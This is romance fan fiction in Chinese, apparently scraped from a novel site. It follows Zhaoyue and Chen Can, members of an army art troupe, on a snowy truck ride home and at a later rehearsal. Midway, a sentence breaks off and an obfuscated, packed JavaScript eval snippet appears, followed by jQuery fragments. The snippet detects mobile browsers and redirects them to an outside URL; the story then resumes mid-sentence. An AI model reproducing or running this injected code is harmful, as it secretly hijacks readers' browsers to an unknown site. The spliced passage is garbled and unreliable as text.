一夜大雪将整座山林裹得素白静谧,天刚蒙蒙亮,文工团的队伍便收拾行装,踏上了返程的路。
卡车碾过积雪,发出细碎的咯吱声,寒风卷着未散的雪沫扑面而来,吹得人鼻尖发僵。
兆悦和陈灿、萧穗子一同坐在后斗里,位置竟和记忆里有些相似——陈灿坐在正中间,右边是萧穗子,不同的是,左边靠着外侧的人是兆悦。
兆悦主动选了靠外的位置,风大,却视野开阔,能最后望一眼这片留下过滚烫心事的雪山。
车子还未真正驶远,她心里已经悄悄泛起了淡淡的怀念。
怀念这场不期而遇的大雪,怀念那个无人打扰的僻静角落,怀念唇齿间还未散去的、属于他的温度。
她已经不会再拿电影里那些剧情,但从未发生、也绝不会发生的情节来折磨自己。
她清楚地知道,此刻陈灿心里装着谁,眼里望着谁,谁才是他毫不犹豫选择的那个人。
过去的剧本早已作废,现在的他们,是双向奔赴、心意笃定的恋人。
风卷着她的发丝肆意飞扬,掠过肩头,掠过脸颊,兆悦微微眯起眼,望着渐渐后退的山林。
身旁的陈灿,从坐下开始,目光便若有似无地一直落在她身上。
他微微侧着身,大半的重心都偏向兆悦这边,像是本能地想为她挡住一部分迎面而来的寒风。
就在这时,身侧传来一声极轻的、带着几分小心翼翼的动静。
萧穗子轻轻抬手,掌心躺着一颗裹着糖纸的水果糖,递到了陈灿面前。
她的指尖微微泛红,眼神垂着,不敢抬头看他,只有耳尖悄悄泛起一层浅淡的红晕。
那是她藏了一路的小心思,是她在这场暗恋里,唯一敢递出去的、最笨拙的温柔。
时间仿佛在这一刻轻轻顿住。
风还在吹,车轮还在滚,山林在白雪里缓缓后退。
陈灿垂眸,看了一眼那颗静静躺在萧穗子掌心的糖。
他没有立刻伸手去接,更没有像电影里那样,接过糖吃下,再握住萧穗子的手哈气取暖。
一个动作都没有。
他只是微微顿了顿,神情依旧是平日里那副淡淡的模样,却在细微处,藏着无比清晰的距离感。
没有暧昧,没有犹豫,没有半分让人误会的温柔。
他先是轻轻侧过头,目光飞快地、极轻地扫了一眼身旁的兆悦,像是在确认她的情绪,又像是在无声地告诉她——我的眼里只有你。
那一瞥极快,却藏着十足的温柔与笃定。
随即,他才转回头,对着萧穗子轻轻摇了摇头,声音清淡、客气,却带着不容错辨的疏离:
“不用了,谢谢。”
五个字,简单,礼貌,却也彻底划清了界限。
仿佛那只是同伴之间一次普通的分享,而他恰好不需要。
萧穗子的手僵在半空,指尖微微蜷缩了一下。
她没有抬头,慢慢将手收了回去,指尖轻轻攥住那颗没能送出去的糖,垂在膝头,久久没有再抬眼。
心里那点好不容易鼓起的勇气,像被寒风轻轻一吹,便悄无声息地淡了下去。
她没有怨,没有恼,甚至没有太多意外。
早在山林里,看着他头也不回离去的背影时,她就隐约明白,有些人,终究是只能望着背影的。
此刻她低着头,沉浸在自己的情绪里,再也没有留意旁人。
陈灿确定她没有看过来,才极轻、极自然地往兆悦那边挪了一点,借着车身晃动的掩护,抬手飞快又温柔地,把她被风吹到眼前的碎发轻轻别到耳后。
动作轻得像一阵风,隐秘又心安。
“风大,靠里一点。”
他压着声音,只有两人能听见,语气里带着一丝不易察觉的宠溺,和刚才客气疏离的样子截然不同。
兆悦抬眼,对上他的目光,轻轻笑了。
风再冷,雪再寒,也抵不过他眼底的滚烫。
卡车驶离雪山,驶向归途。
有些故事,早已在漫天风雪里,写下了全新的结局。
卡车在蜿蜒的雪路上颠簸前行,寒风渐渐小了些,车厢里也安静下来。奔波了一夜的同伴们大多靠在车板上沉沉睡去,呼吸轻浅,只剩下车轮碾过积雪的单调声响。
兆悦也闭着眼假寐,心思却一直轻轻落在身旁的人身上。
她悄悄睁开一条缝,看向身侧的陈灿。
他靠着车帮,眼睫垂落,看上去像是也睡着了,侧脸在淡白的天光下轮廓干净利落,连呼吸都放得很轻。
兆悦的心跳悄悄快了半拍。
左右都是熟睡的人,萧穗子也靠在角落垂着头,一动不动。
她大着胆子,将自己盖着的军大衣往两人中间拢了拢,宽大的衣摆轻轻盖住了他们交叠放在膝头的手。
在厚重军大衣的掩护下,她指尖微微蜷起,试探着、一点点地,轻轻碰了碰他的手背。
只是极轻的一下,像一片雪花落上去。
下一秒,她便感觉到,手下那只温热的手,几不可查地顿了顿。
兆悦的心猛地一跳,下意识想收回手,却被他先一步轻轻扣住。
他没有睁眼,依旧维持着原本沉睡的模样,连呼吸都没有乱,只是在大衣之下,不动声色地、轻轻反握住了她的手。
指腹温柔地蹭过她微凉的指尖,力道很轻,却握得稳稳的,像是怕她跑掉,又像是在无声地回应她所有的小心思。
原来他根本没睡。
从她悄悄睁眼,到小心翼翼碰他手背的每一个动作,他全都知道。
她任由他握着,感受着他掌心传来的温度,透过微凉的空气,一点点熨帖到她心底最软的地方。
陈灿依旧闭着眼,唇角却在无人看见的角度,极轻极淡地弯了一下。
那点笑意藏得很深,只有他自己知道,在被她触碰的那一刻,心底翻起了怎样温柔的涟漪。
身旁的萧穗子还在安静地靠着,呼吸轻浅,显然已经睡熟。
其他文工团的同伴也各自蜷缩在军大衣里,疲惫让他们无暇顾及旁人。
这一方小小的、拥挤的后斗,此刻却成了只属于他们两个人的天地。
陈灿终于极轻地掀开一点眼睫,目光垂落,落在她被大衣半遮着的、泛红的脸颊上。
眼底的宠溺浓得化不开,却只敢用极轻、极哑的气音,凑到她耳边低声说:“手这么凉,还敢偷偷摸过来。”
声音低得像耳语,混着车身的颠簸,只有她一个人能听见。
兆悦脸颊一烫,忍不住轻轻抿唇笑,指尖在他掌心悄悄挠了一下,小声回:“就摸。”
陈灿喉间低低地溢出一声笑,他没有再说话,只是将她的手往自己这边又带了带,贴在自己的腿边,用体温一点点捂热。
一路沉默,一路紧握。
等再醒来,却发现自己的头没有直接靠在冰冷坚硬的车帮上,而是被一双手稳稳垫着。
她睫毛轻轻一颤,缓缓睁开眼。
天光已经偏西,洒在陈灿沉静的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309125|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
侧脸上。
他依旧维持着原来的坐姿,大半身体微微倾向她这边,一只手被她枕在颈下,掌心朝上,被她压得久了,指尖都有些泛白,却自始至终没有动过一下。
而另一只手,还在军大衣下,安静地握着她的手。
他极轻地“嗯”了一声,声音压得很低,带着只能隐忍的宠溺:“不麻。”
陈灿先轻轻松开了两人交握的手,动作轻得怕惊醒她,确认兆悦已经清醒,才小心翼翼、缓缓抽回自己早已麻木的手臂。
他的手腕被枕得又麻又酸,指尖泛着青白,却只是不动声色地轻轻攥了攥,没有流露出半分不适。
他先一跃跳下车,落地时稳稳站直,随即立刻转过身,仰头望向车斗里的兆悦。
目光落在她身上时,所有的清冷都化作了藏不住的温柔与在意。
“下来吧,慢点。”
他抬着手,语气自然又笃定,是全然只属于她的小心呵护。
周围陆续有人醒来、伸着懒腰往下跳,喧闹声渐渐响起,谁也没有发现,这一路漫长的风雪归途里,藏着两人只属于彼此的秘密。
萧穗子也醒了,安静地整理着自己的衣角,眼神淡淡,没有再往陈灿的方向多看一眼。
兆悦抱着军大衣,慢慢走到车边。
陈灿稳稳伸手,掌心朝上,牢牢托住她的腰,轻轻一扶,便将她安稳地抱下车来。
落地的一瞬间,他的指尖极轻地蹭了一下她的后腰,快得像错觉,却足够让兆悦心头轻轻一颤。
双脚刚沾地,他便低声嘱咐:“刚睡醒,别着凉,把大衣裹好。”
阳光洒在文工团熟悉的红墙上,暖得让人安心。连日奔波的疲惫,终于能在熟悉的环境里慢慢卸下。
团里体贴,给所有人放了一整天的休整时间,等体力缓过来、寒气散得差不多了,才重新吹响了排练的哨声。
天是真的冷了。
北风一吹,院子里的枯树枝都在发抖,呼出的气瞬间变成白雾,所有人进出都裹着厚厚的军大衣,扣子一路扣到下巴,棉帽护耳放下,系得严严实实。
文工团的排练厅四面透风,即便关紧了门窗,寒气依旧从缝隙里丝丝缕缕地钻进来。
跳舞的队员最是难熬,脱下厚重大衣,换上单薄的练功服,一停下来就浑身发冷,稍不注意就会被寒气激得感冒。
但他们乐队的人要好受得多。
不用大幅度动作,只需安安稳稳坐着练习乐器,只要把军大衣裹紧,扣子扣好,便能挡住大半寒意,也不会像舞蹈队那样大汗淋漓,自然少了许多生病的风险。
兆悦抱着乐器走进排练厅时,陈灿已经坐在了靠窗的位置。
他依旧穿得干净挺拔,军大衣的扣子规规矩矩扣到第二颗,露出一截利落的衣领,正低头轻轻调试着琴弦,神情安静又专注。
听见脚步声,他没有立刻抬头,却在她走近的瞬间,微微侧过脸,目光轻轻落在她身上。
从上到下扫了一圈,确认她大衣扣得严实、没有受冻,才淡淡收回视线,声音压得极低,只有两人能听见。
“手冷不冷?”
兆悦轻轻摇了摇头,在他身旁的位置坐下,也小声回应:“不冷,穿得厚。”
他嗯了一声,没再多说,却不动声色地往她这边挪了挪椅子,恰好替她挡住了从窗缝钻进来的冷风。
排练很快开始。
悠扬的乐曲填满了空旷的排练厅,琴弦轻颤,笛声清亮,寒气似乎也被这热闹的声响冲淡了几分。